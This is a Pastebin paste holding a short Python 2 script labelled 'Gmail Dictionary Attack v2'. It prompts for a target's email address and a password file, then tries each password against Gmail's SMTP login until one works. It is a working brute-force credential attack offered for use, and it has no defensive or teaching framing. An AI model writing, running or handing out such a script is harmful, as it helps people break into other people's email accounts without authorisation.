SHARE
TWEET

Gmail Dictionary Attack

a guest Jul 11th, 2015 32,202 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Program: Gmail Dictionary Attack v2
  2. # Author: BurnCT
  3. # Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.
  4.  
  5. import smtplib
  6.  
  7. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  8. smtpserver.ehlo()
  9. smtpserver.starttls()
  10.  
  11. user = raw_input("Enter the target's email address: ")
  12. passwfile = raw_input("Enter the password file name: ")
  13. passwfile = open(passwfile, "r")
  14.  
  15. for password in passwfile:
  16.         try:
  17.                 smtpserver.login(user, password)
  18.  
  19.                 print "[+] Password Found: %s" % password
  20.                 break;
  21.         except smtplib.SMTPAuthenticationError:
  22.                 print "[!] Password Incorrect: %s" % password
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top